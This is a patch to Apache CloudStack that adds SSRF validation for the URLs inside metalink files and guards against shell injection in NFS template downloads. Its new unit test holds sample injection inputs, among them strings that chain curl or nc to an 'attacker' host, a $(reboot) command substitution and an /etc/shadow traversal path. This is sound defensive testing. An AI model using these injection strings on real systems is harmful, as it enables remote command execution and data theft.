From 07e09db0af5cf60684e9d4bea798ff46c3de48ff Mon Sep 17 00:00:00 2001 From: Pearl Dsilva Date: Thu, 4 Jun 2026 17:09:34 -0400 Subject: [PATCH] Fix issue in direct download and NFS templates --- .../download/DirectDownloadManager.java | 10 ++ .../template/MetalinkTemplateDownloader.java | 7 + .../directdownload/DirectDownloadCommand.java | 11 +- .../direct/download/DirectDownloadHelper.java | 5 +- .../MetalinkDirectTemplateDownloader.java | 57 ++++++- .../download/NfsDirectTemplateDownloader.java | 79 ++++++++-- .../NfsDirectTemplateDownloaderTest.java | 73 +++++++++ .../download/DirectDownloadManagerImpl.java | 27 +++- .../main/java/com/cloud/utils/UriUtils.java | 145 +++++++++++++++++- 9 files changed, 385 insertions(+), 29 deletions(-) create mode 100644 core/src/test/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloaderTest.java diff --git a/api/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManager.java b/api/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManager.java index 8a74965ceca..7fd4b9da37d 100644 --- a/api/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManager.java +++ b/api/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManager.java @@ -59,6 +59,16 @@ public interface DirectDownloadManager extends DirectDownloadService, PluggableS "Requesting a connection from connection manager timeout in milliseconds for direct download", true); + ConfigKey DirectDownloadMetalinkAllowedHostsAndCidrs = new ConfigKey<>("Advanced", String.class, + "direct.download.metalink.allowed.hosts.and.cidrs", + "", + "Comma-separated list of hosts and CIDR ranges permitted as inner URL targets inside metalink files. " + + "Each entry may be a CIDR range (e.g. \"10.0.0.0/8\"), an exact hostname or IP " + + "(e.g. \"storage.corp.com\"), or a wildcard domain suffix (e.g. \"*.mylocal.net\"). " + + "By default all private/site-local addresses are blocked to prevent SSRF. " + + "Loopback and link-local addresses are always blocked regardless of this setting.", + true); + class HostCertificateStatus { public enum CertificateStatus { REVOKED, FAILED, SKIPPED, UPLOADED diff --git a/core/src/main/java/com/cloud/storage/template/MetalinkTemplateDownloader.java b/core/src/main/java/com/cloud/storage/template/MetalinkTemplateDownloader.java index 95ed0d1e76d..139e8feb4a7 100644 --- a/core/src/main/java/com/cloud/storage/template/MetalinkTemplateDownloader.java +++ b/core/src/main/java/com/cloud/storage/template/MetalinkTemplateDownloader.java @@ -133,6 +133,13 @@ public class MetalinkTemplateDownloader extends TemplateDownloaderBase implement int i = 0; while (!downloaded && i < metalinkUrls.size()) { String url = metalinkUrls.get(i); + try { + UriUtils.validateMetalinkInnerUrl(url); + } catch (IllegalArgumentException e) { + logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", url, e.getMessage())); + i++; + continue; + } request = createRequest(url); downloaded = downloadTemplate(); i++; diff --git a/core/src/main/java/org/apache/cloudstack/agent/directdownload/DirectDownloadCommand.java b/core/src/main/java/org/apache/cloudstack/agent/directdownload/DirectDownloadCommand.java index b6748dca434..65d54fe8199 100644 --- a/core/src/main/java/org/apache/cloudstack/agent/directdownload/DirectDownloadCommand.java +++ b/core/src/main/java/org/apache/cloudstack/agent/directdownload/DirectDownloadCommand.java @@ -19,6 +19,7 @@ package org.apache.cloudstack.agent.directdownload; +import java.util.List; import java.util.Map; import org.apache.cloudstack.storage.command.StorageSubSystemCommand; @@ -44,8 +45,8 @@ public abstract class DirectDownloadCommand extends StorageSubSystemCommand { private Integer connectionRequestTimeout; private Long templateSize; private Storage.ImageFormat format; - private boolean followRedirects; + private List allowedCidrs; protected DirectDownloadCommand (final String url, final Long templateId, final PrimaryDataStoreTO destPool, final String checksum, final Map headers, final Integer connectTimeout, @@ -150,4 +151,12 @@ public abstract class DirectDownloadCommand extends StorageSubSystemCommand { public void setFollowRedirects(boolean followRedirects) { this.followRedirects = followRedirects; } + + public List getAllowedCidrs() { + return allowedCidrs; + } + + public void setAllowedCidrs(List allowedCidrs) { + this.allowedCidrs = allowedCidrs; + } } diff --git a/core/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadHelper.java b/core/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadHelper.java index 0e0e2f0b57b..6c9c4513692 100644 --- a/core/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadHelper.java +++ b/core/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadHelper.java @@ -27,6 +27,8 @@ import org.apache.cloudstack.agent.directdownload.NfsDirectDownloadCommand; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; +import java.util.Collections; + public class DirectDownloadHelper { protected static Logger LOGGER = LogManager.getLogger(DirectDownloadHelper.class); @@ -50,7 +52,8 @@ public class DirectDownloadHelper { } else if (cmd instanceof MetalinkDirectDownloadCommand) { return new MetalinkDirectTemplateDownloader(cmd.getUrl(), destPoolLocalPath, cmd.getTemplateId(), cmd.getChecksum(), cmd.getHeaders(), cmd.getConnectTimeout(), cmd.getSoTimeout(), - temporaryDownloadPath, cmd.isFollowRedirects()); + temporaryDownloadPath, cmd.isFollowRedirects(), + cmd.getAllowedCidrs() != null ? cmd.getAllowedCidrs() : Collections.emptyList()); } else { throw new IllegalArgumentException("Unsupported protocol, please provide HTTP(S), NFS or a metalink"); } diff --git a/core/src/main/java/org/apache/cloudstack/direct/download/MetalinkDirectTemplateDownloader.java b/core/src/main/java/org/apache/cloudstack/direct/download/MetalinkDirectTemplateDownloader.java index 854c310cde9..2940ecfa88a 100644 --- a/core/src/main/java/org/apache/cloudstack/direct/download/MetalinkDirectTemplateDownloader.java +++ b/core/src/main/java/org/apache/cloudstack/direct/download/MetalinkDirectTemplateDownloader.java @@ -19,12 +19,14 @@ package org.apache.cloudstack.direct.download; import com.cloud.utils.Pair; +import com.cloud.utils.UriUtils; import com.cloud.utils.exception.CloudRuntimeException; import org.apache.commons.collections.CollectionUtils; import org.apache.commons.lang3.StringUtils; import java.io.File; +import java.util.Collections; import java.util.List; import java.util.Map; import java.util.Random; @@ -37,6 +39,7 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm private Map headers; private Integer connectTimeout; private Integer soTimeout; + private List allowedCidrs = Collections.emptyList(); protected DirectTemplateDownloader createDownloaderForMetalinks(String url, Long templateId, String destPoolPath, String checksum, Map headers, Integer connectTimeout, @@ -49,24 +52,33 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm return new HttpDirectTemplateDownloader(url, templateId, destPoolPath, checksum, headers, connectTimeout, soTimeout, temporaryDownloadPath, this.isFollowRedirects()); } else if (url.toLowerCase().startsWith("nfs:")) { - return new NfsDirectTemplateDownloader(url); + return new NfsDirectTemplateDownloader(url, destPoolPath, templateId, checksum, temporaryDownloadPath); } else { - logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s", url)); + logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s." + + " Only http and https schemes are permitted inside metalink files.", url)); return null; } } protected MetalinkDirectTemplateDownloader(String url, Integer connectTimeout, Integer socketTimeout, boolean followRedirects) { - this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects); + this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects, java.util.Collections.emptyList()); } public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum, Map headers, Integer connectTimeout, Integer soTimeout, String downloadPath, boolean followRedirects) { + this(url, destPoolPath, templateId, checksum, headers, connectTimeout, soTimeout, downloadPath, followRedirects, + java.util.Collections.emptyList()); + } + + public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum, + Map headers, Integer connectTimeout, Integer soTimeout, String downloadPath, + boolean followRedirects, List allowedCidrs) { super(url, destPoolPath, templateId, checksum, downloadPath, followRedirects); this.headers = headers; this.connectTimeout = connectTimeout; this.soTimeout = soTimeout; + this.allowedCidrs = allowedCidrs != null ? allowedCidrs : java.util.Collections.emptyList(); downloader = createDownloaderForMetalinks(url, templateId, destPoolPath, checksum, headers, connectTimeout, soTimeout, null, downloadPath); metalinkUrls = downloader.getMetalinkUrls(url); @@ -81,6 +93,10 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm } } + public List getAllowedCidrs() { + return allowedCidrs; + } + @Override public Pair downloadTemplate() { if (StringUtils.isBlank(getUrl())) { @@ -93,10 +109,17 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm if (!isRedownload()) { setUrl(metalinkUrls.get(i)); } - logger.info("Trying to download Template from URL: " + getUrl()); - DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(), - getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath); try { + UriUtils.validateMetalinkInnerUrl(getUrl(), allowedCidrs); + } catch (IllegalArgumentException e) { + logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", getUrl(), e.getMessage())); + i++; + continue; + } + logger.info("Trying to download Template from URL: " + getUrl()); + try { + DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(), + getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath); setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName()); File f = new File(getDownloadedFilePath()); if (f.exists()) { @@ -139,8 +162,20 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm if (url.endsWith(".torrent")) { continue; } - DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null); - if (!urlDownloader.checkUrl(url)) { + try { + UriUtils.validateMetalinkInnerUrl(url, allowedCidrs); + } catch (IllegalArgumentException e) { + logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in checkUrl: %s - %s", url, e.getMessage())); + continue; + } + DirectTemplateDownloader urlDownloader; + try { + urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null); + } catch (Exception e) { + logger.warn(String.format("Skipping metalink inner URL that failed validation in checkUrl: %s - %s", url, e.getMessage())); + continue; + } + if (urlDownloader == null || !urlDownloader.checkUrl(url)) { return false; } } @@ -154,6 +189,12 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm if (url.endsWith("torrent")) { continue; } + try { + UriUtils.validateMetalinkInnerUrl(url, allowedCidrs); + } catch (IllegalArgumentException e) { + logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in getRemoteFileSize: %s - %s ", url, e.getMessage())); + continue; + } if (downloader.checkUrl(url)) { return downloader.getRemoteFileSize(url, format); } diff --git a/core/src/main/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloader.java b/core/src/main/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloader.java index 6b0959b78ff..25dd963dcd6 100644 --- a/core/src/main/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloader.java +++ b/core/src/main/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloader.java @@ -28,31 +28,50 @@ import java.net.URI; import java.net.URISyntaxException; import java.util.List; import java.util.UUID; +import java.util.regex.Pattern; public class NfsDirectTemplateDownloader extends DirectTemplateDownloaderImpl { private String srcHost; private String srcPath; - private static final String mountCommand = "mount -t nfs %s %s"; + // srcHost and srcPath are used to build mount/cp commands; restrict them to safe + // characters so a crafted NFS url cannot smuggle shell metacharacters into the agent. + // Host must start with an alphanumeric character and the path must start with '/' so + // neither can be interpreted as a command-line option (argument confusion). + private static final Pattern SRC_HOST_PATTERN = Pattern.compile("^[A-Za-z0-9][A-Za-z0-9._-]*$"); + private static final Pattern SRC_PATH_PATTERN = Pattern.compile("^/[A-Za-z0-9/._-]*$"); + // SRC_PATH_PATTERN allows '.' and '/' individually, so a ".." segment would still pass; + // reject path traversal explicitly. + private static final Pattern PATH_TRAVERSAL_PATTERN = Pattern.compile("(^|/)\\.\\.(/|$)"); /** * Parse url and set srcHost and srcPath */ private void parseUrl() { - URI uri = null; String url = getUrl(); try { - uri = new URI(UriUtils.encodeURIComponent(url)); + URI uri = new URI(UriUtils.encodeURIComponent(url)); if (uri.getScheme() != null && uri.getScheme().equalsIgnoreCase("nfs")) { srcHost = uri.getHost(); srcPath = uri.getPath(); + validateHostAndPath(url); } } catch (URISyntaxException e) { throw new CloudRuntimeException("Invalid NFS url " + url + " caused error: " + e.getMessage()); } } + private void validateHostAndPath(String url) { + if (srcHost == null || !SRC_HOST_PATTERN.matcher(srcHost).matches()) { + throw new CloudRuntimeException("Invalid host in NFS url: " + url); + } + if (srcPath == null || !SRC_PATH_PATTERN.matcher(srcPath).matches() + || PATH_TRAVERSAL_PATTERN.matcher(srcPath).find()) { + throw new CloudRuntimeException("Invalid path in NFS url: " + url); + } + } + protected NfsDirectTemplateDownloader(String url) { this(url, null, null, null, null); } @@ -66,12 +85,54 @@ public class NfsDirectTemplateDownloader extends DirectTemplateDownloaderImpl { @Override public Pair downloadTemplate() { String mountSrcUuid = UUID.randomUUID().toString(); - String mount = String.format(mountCommand, srcHost + ":" + srcPath, "/mnt/" + mountSrcUuid); - Script.runSimpleBashScript(mount); - String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId()); - setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName()); - Script.runSimpleBashScript("cp /mnt/" + mountSrcUuid + srcPath + " " + getDownloadedFilePath()); - Script.runSimpleBashScript("umount /mnt/" + mountSrcUuid); + String mountPoint = "/mnt/" + mountSrcUuid; + + // Build each command from discrete arguments (no shell) so srcHost/srcPath cannot be + // interpreted as shell metacharacters even if they slip past validation. "--" separates + // options from positional arguments so a value cannot be mistaken for an option. + File mountDir = new File(mountPoint); + if (!mountDir.exists() && !mountDir.mkdirs()) { + throw new CloudRuntimeException("Failed to create mount point " + mountPoint); + } + + // NFS can only mount an exported directory, never an individual file, so mount the + // parent directory of srcPath and copy the filename relative to the mount point. + int lastSlash = srcPath.lastIndexOf('/'); + String parentPath = lastSlash > 0 ? srcPath.substring(0, lastSlash) : "/"; + String fileName = srcPath.substring(lastSlash + 1); + + Script mount = new Script("mount", logger); + mount.add("-t", "nfs"); + mount.add("--"); + mount.add(srcHost + ":" + parentPath); + mount.add(mountPoint); + String result = mount.execute(); + if (result != null) { + throw new CloudRuntimeException(String.format("Failed to mount NFS source %s:%s : %s", srcHost, parentPath, result)); + } + + try { + String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId()); + setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName()); + + Script copy = new Script("cp", logger); + copy.add("--"); + copy.add(mountPoint + "/" + fileName); + copy.add(getDownloadedFilePath()); + String copyResult = copy.execute(); + if (copyResult != null) { + throw new CloudRuntimeException(String.format("Failed to copy template from NFS source %s:%s : %s", srcHost, srcPath, copyResult)); + } + } finally { + Script umount = new Script("umount", logger); + umount.add("--"); + umount.add(mountPoint); + String umountResult = umount.execute(); + if (umountResult != null) { + logger.warn(String.format("Failed to unmount %s : %s", mountPoint, umountResult)); + } + } + return new Pair<>(true, getDownloadedFilePath()); } diff --git a/core/src/test/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloaderTest.java b/core/src/test/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloaderTest.java new file mode 100644 index 00000000000..73932456a94 --- /dev/null +++ b/core/src/test/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloaderTest.java @@ -0,0 +1,73 @@ +// +// Licensed to the Apache Software Foundation (ASF) under one +// or more contributor license agreements. See the NOTICE file +// distributed with this work for additional information +// regarding copyright ownership. The ASF licenses this file +// to you under the Apache License, Version 2.0 (the +// "License"); you may not use this file except in compliance +// with the License. You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, +// software distributed under the License is distributed on an +// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +// KIND, either express or implied. See the License for the +// specific language governing permissions and limitations +// under the License. +// +package org.apache.cloudstack.direct.download; + +import com.cloud.utils.exception.CloudRuntimeException; +import org.junit.Assert; +import org.junit.Test; + +public class NfsDirectTemplateDownloaderTest { + + @Test + public void testValidNfsUrlIsAccepted() { + // A well-formed NFS url must parse without error. + new NfsDirectTemplateDownloader("nfs://10.0.0.1/export/templates/tmpl.qcow2"); + } + + @Test + public void testRejectsSemicolonInPath() { + assertRejected("nfs://10.0.0.1/a;curl http://attacker/x"); + } + + @Test + public void testRejectsCommandSubstitutionInPath() { + assertRejected("nfs://10.0.0.1/$(reboot)"); + } + + @Test + public void testRejectsBacktickInPath() { + assertRejected("nfs://10.0.0.1/`reboot`"); + } + + @Test + public void testRejectsPipeInPath() { + assertRejected("nfs://10.0.0.1/a|nc attacker 4444"); + } + + @Test + public void testRejectsHostStartingWithDash() { + // A leading '-' could be mistaken for a mount option (argument confusion). + assertRejected("nfs://-oremount/export/tmpl.qcow2"); + } + + @Test + public void testRejectsPathTraversal() { + // '.' and '/' are allowed individually, but a ".." segment must not slip through. + assertRejected("nfs://10.0.0.1/export/../../etc/shadow"); + } + + private void assertRejected(String url) { + try { + new NfsDirectTemplateDownloader(url); + Assert.fail("Expected CloudRuntimeException for url: " + url); + } catch (CloudRuntimeException expected) { + // metacharacters must be rejected during url parsing + } + } +} diff --git a/server/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManagerImpl.java b/server/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManagerImpl.java index 005e24a8bce..ddb5e3394a2 100644 --- a/server/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManagerImpl.java +++ b/server/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManagerImpl.java @@ -408,13 +408,33 @@ public class DirectDownloadManagerImpl extends ManagerBase implements DirectDown } else if (protocol.equals(DownloadProtocol.NFS)) { return new NfsDirectDownloadCommand(url, templateId, destPool, checksum, httpHeaders); } else if (protocol.equals(DownloadProtocol.METALINK)) { - return new MetalinkDirectDownloadCommand(url, templateId, destPool, checksum, httpHeaders, connectTimeout, - soTimeout, followRedirects); + MetalinkDirectDownloadCommand cmd = new MetalinkDirectDownloadCommand(url, templateId, destPool, + checksum, httpHeaders, connectTimeout, soTimeout, followRedirects); + cmd.setAllowedCidrs(parseAllowedCidrs(DirectDownloadMetalinkAllowedHostsAndCidrs.value())); + return cmd; } else { return null; } } + /** + * Parses a comma-separated CIDR string from the global setting into a list. + * Blank values return an empty list (all site-local addresses blocked). + */ + private List parseAllowedCidrs(String rawValue) { + if (org.apache.commons.lang3.StringUtils.isBlank(rawValue)) { + return java.util.Collections.emptyList(); + } + List cidrs = new java.util.ArrayList<>(); + for (String cidr : rawValue.split(",")) { + String trimmed = cidr.trim(); + if (!trimmed.isEmpty()) { + cidrs.add(trimmed); + } + } + return cidrs; + } + /** * Return the list of running hosts to which upload certificates for Direct Download */ @@ -783,7 +803,8 @@ public class DirectDownloadManagerImpl extends ManagerBase implements DirectDown DirectDownloadCertificateUploadInterval, DirectDownloadConnectTimeout, DirectDownloadSocketTimeout, - DirectDownloadConnectionRequestTimeout + DirectDownloadConnectionRequestTimeout, + DirectDownloadMetalinkAllowedHostsAndCidrs }; } diff --git a/utils/src/main/java/com/cloud/utils/UriUtils.java b/utils/src/main/java/com/cloud/utils/UriUtils.java index 4722e3c540a..741d147c4b5 100644 --- a/utils/src/main/java/com/cloud/utils/UriUtils.java +++ b/utils/src/main/java/com/cloud/utils/UriUtils.java @@ -304,6 +304,134 @@ public class UriUtils { } } + /** + * Validates a URL extracted from inside a metalink file. + * Only {@code http} and {@code https} schemes are permitted. + * Loopback, link-local, any-local, multicast, and site-local (RFC-1918) + * addresses are all blocked. + * + * @param url the inner URL to validate + * @throws IllegalArgumentException if the URL is not safe to fetch + */ + public static void validateMetalinkInnerUrl(String url) throws IllegalArgumentException { + validateMetalinkInnerUrl(url, Collections.emptyList()); + } + + /** + * Validates a URL extracted from inside a metalink file, with an optional + * admin-configured CIDR allowlist that may permit private-range addresses. + * Loopback, link-local, any-local, and multicast addresses are + * always blocked regardless of the allowlist. + * Site-local (RFC-1918) addresses can be selectively permitted by + * supplying matching CIDR strings (e.g. {@code "10.0.0.0/8"}). + * + * @param url the inner URL to validate + * @param allowedCidrs CIDR strings whose addresses are allowed even when + * site-local; an empty list blocks all site-local addresses + * @throws IllegalArgumentException if the URL is not safe to fetch + */ + public static void validateMetalinkInnerUrl(String url, List allowedCidrs) + throws IllegalArgumentException { + if (url == null || url.isBlank()) { + throw new IllegalArgumentException("Empty URL in metalink file"); + } + try { + URI uri = new URI(url); + String scheme = uri.getScheme(); + if (scheme == null + || (!scheme.equalsIgnoreCase("http") && !scheme.equalsIgnoreCase("https") + && !scheme.equalsIgnoreCase("nfs"))) { + throw new IllegalArgumentException( + String.format("Metalink inner URL scheme not allowed: '%s'. Only http, https and nfs are permitted.", scheme)); + } + String host = uri.getHost(); + if (host == null || host.isBlank()) { + throw new IllegalArgumentException(String.format("No host in metalink inner URL: %s", url)); + } + try { + InetAddress addr = InetAddress.getByName(host); + checkHost(addr, false); + // Site-local (RFC-1918) blocked by default; overridable via allowlist. + if (addr.isSiteLocalAddress() && !isAddressInAllowedCidrs(host, addr, allowedCidrs)) { + throw new IllegalArgumentException( + String.format("Metalink inner URL resolves to a private/site-local address: %s. " + + "Configure direct.download.metalink.allowed.hosts.and.cidrs to permit specific ranges.", host)); + } + } catch (UnknownHostException e) { + throw new IllegalArgumentException(String.format("Unable to resolve metalink inner URL host: %s", host)); + } + } catch (URISyntaxException e) { + throw new IllegalArgumentException(String.format("Invalid metalink inner URL: %s", url)); + } + } + + static boolean isAddressInAllowedCidrs(InetAddress addr, List entries) { + return isAddressInAllowedCidrs(addr.getHostAddress(), addr, entries); + } + + /** + * Returns true if the given host/address is permitted by any entry in the list. + * Entries may be a CIDR range 10.0.0.0/8}, an exact hostname or IP + * (storage.corp.com), or a wildcard domain suffix (*.mylocal.net). + * Wildcard matching is a hostname-suffix check against host; CIDR and + * exact-hostname entries resolve to an IP and compare. Malformed entries are logged and skipped. + */ + static boolean isAddressInAllowedCidrs(String host, InetAddress addr, List entries) { + if (entries == null || entries.isEmpty()) { + return false; + } + byte[] addrBytes = addr.getAddress(); + for (String entry : entries) { + String trimmed = entry.trim(); + if (trimmed.startsWith("*.")) { + String suffix = trimmed.substring(1); // e.g. ".mylocal.net" + if (host != null && host.toLowerCase().endsWith(suffix.toLowerCase())) { + return true; + } + } else { + try { + if (trimmed.contains("/")) { + String[] parts = trimmed.split("/"); + if (parts.length != 2) { + LOGGER.warn("Ignoring malformed CIDR in metalink allowlist: " + trimmed); + continue; + } + InetAddress cidrAddr = InetAddress.getByName(parts[0]); + int prefixLen = Integer.parseInt(parts[1].trim()); + byte[] cidrBytes = cidrAddr.getAddress(); + if (cidrBytes.length != addrBytes.length) { + continue; + } + if (isMatchingPrefix(addrBytes, cidrBytes, prefixLen)) { + return true; + } + } else { + if (InetAddress.getByName(trimmed).equals(addr)) { + return true; + } + } + } catch (UnknownHostException | NumberFormatException e) { + LOGGER.warn("Ignoring invalid entry in metalink allowlist: " + trimmed + " — " + e.getMessage()); + } + } + } + return false; + } + + /** Returns true if {@code addr} matches {@code cidr} for the given prefix length. */ + private static boolean isMatchingPrefix(byte[] addr, byte[] cidr, int prefixLen) { + int fullBytes = prefixLen / 8; + int remainingBits = prefixLen % 8; + for (int i = 0; i < fullBytes; i++) { + if (addr[i] != cidr[i]) return false; + } + if (remainingBits > 0 && fullBytes < addr.length) { + int mask = 0xFF << (8 - remainingBits); + return (addr[fullBytes] & mask) == (cidr[fullBytes] & mask); + } + return true; + } + /** * Verifies whether the provided host is valid. Throws an `IllegalArgumentException` if: *
    @@ -314,18 +442,21 @@ public class UriUtils { */ private static void checkHost(String host, boolean skipIpv6Check) { try { - InetAddress hostAddr = InetAddress.getByName(host); - if (hostAddr.isAnyLocalAddress() || hostAddr.isLinkLocalAddress() || hostAddr.isLoopbackAddress() || hostAddr.isMulticastAddress()) { - throw new IllegalArgumentException("Illegal host specified in URL."); - } - if (!skipIpv6Check && hostAddr instanceof Inet6Address) { - throw new IllegalArgumentException(String.format("IPv6 addresses are not supported (%s).", hostAddr.getHostAddress())); - } + checkHost(InetAddress.getByName(host), skipIpv6Check); } catch (UnknownHostException uhe) { throw new IllegalArgumentException(String.format("Unable to resolve %s.", host)); } } + private static void checkHost(InetAddress addr, boolean skipIpv6Check) { + if (addr.isAnyLocalAddress() || addr.isLinkLocalAddress() || addr.isLoopbackAddress() || addr.isMulticastAddress()) { + throw new IllegalArgumentException("Illegal host specified in URL."); + } + if (!skipIpv6Check && addr instanceof Inet6Address) { + throw new IllegalArgumentException(String.format("IPv6 addresses are not supported (%s).", addr.getHostAddress())); + } + } + /** * Add element to priority list examining node attributes: priority (for urls) and type (for checksums) */